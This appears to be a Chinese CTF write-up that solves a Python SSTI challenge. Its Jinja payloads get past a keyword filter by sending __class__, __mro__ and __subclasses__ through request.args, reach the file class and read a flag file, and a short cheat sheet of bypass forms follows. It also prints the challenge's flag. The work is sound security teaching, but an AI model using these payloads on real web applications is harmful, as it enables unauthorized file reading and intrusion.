一.解題
在login和register的頁面中發現這個文件路徑
接下去就找有什么點可以利用
二.ssti
通過題目信息可知是一只蛇把一只大象纏繞起來了,蛇代表python,大象代表php
這邊通過python可以推測可能是模板注入,這邊我看其他的解題是說通過看報文信息也可以得到,但是我這邊確實沒從報文信息得到
嘗試模板注入:
確實存在模板注入;
三.進行模板注入
發現應該是被過濾了,
發現""沒有過濾
__class__被過濾,采用其他的方式
{{""[reuqest.args.a]}}?a=__class__
通過a去get傳參
成功
看來__base__也被過濾了
使用__mro__可以
尋找可利用模塊——file,因為之前已經知道路徑:
Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
如圖可知模塊在41,所以數組位置應該是40
利用該模塊
{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__
讀取文件內容
{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.cmd]()}}?a=__class__&b=__mro__&c=__subclasses__&cmd=read
出答案:flag=cyberpeace{5de296bdf4c55c0e4ae11fc36988025a}
我這邊順便訪問了一下另個文件內容是:?_Y0uW1llN3verKn0w1t_
我拋給ai,給的結果是:you will never konw it
四.總結
在SSTI漏洞利用中,這種寫法可以:
繞過過濾:如果直接寫?
{{"".__class__}}
?可能被WAF攔截動態屬性訪問:通過參數控制要訪問的屬性
構造利用鏈:進一步獲取其他危險類和方法
python# 獲取基類
{{""[request.args.a]}}?a=__class__
{{""[request.args.a]}}?a=__base__# 獲取object類
{{""[request.args.a]}}?a=__class__.__base__# 獲取子類
{{""[request.args.a]}}?a=__class__.__base__.__subclasses__()